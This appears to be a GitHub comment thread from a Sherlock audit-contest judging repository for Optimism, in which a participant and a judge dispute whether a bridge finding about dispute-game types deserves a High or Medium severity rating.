guhu95 commented 6 months ago

@nevillehuang

How would the airgap be bypassed when the off-chain monitoring is presumed to have caught the incorrect resolution

The resolution of the OTHER game may be fully correct according to that game's implementation. It is another game entirely, so:

The assumption that the OTHER game is possible to challange because it's resolved incorrectly is not needed here. A just as likely scenario is that the OTHER game is resolved correctly, but the bridge MUST NOT be using it.

Evert0x commented 6 months ago

Although for a different reason, I believe it's right to assign Medium as well.

High is reserved for unrestricted losses. Watsons were to assume that the game's resolution logic was broken, not that game types were added regularly.

I still believe it's an extensive limitation for a new game type to get (created, audited, and) deployed with a specific ID, as that's the trigger that can potentially cause this catastrophic bug.

guhu95 commented 6 months ago

Watsons were to assume that the game's resolution logic was broken, not that game types were added regularly.

@Evert0x But a broken game is resolved by updating the game type. Doesn't the assumption "the game's resolution logic is broken" unavoidably and directly includes the assumption of updating the game type?

How can there be an extensive limitation if one thing directly causes the other?

Evert0x commented 6 months ago

Result: Medium Has Duplicates

@guhu95 assuming "the game's resolution logic is broken" and assuming "the team will continuously deploy new game types" are two different things.

sherlock-admin4 commented 6 months ago

Escalations have been resolved successfully!

Escalation status:

guhu95 commented 6 months ago

@Evert0x your response:

@guhu95 assuming "the game's resolution logic is broken" and assuming "the team will continuously deploy new game types" are two different things.

Did not answer either of the specific questions I've asked.

Doesn't the assumption "the game's resolution logic is broken" unavoidably and directly includes the assumption of updating the game type?

How can there be an extensive limitation if one thing directly causes the other?

I can see the escalation shows as resolved now, but https://github.com/sherlock-audit/2024-02-optimism-2024-judging/issues/201 was re-opened 3 days after escalation resolution, so not sure how to interpret the resolution update.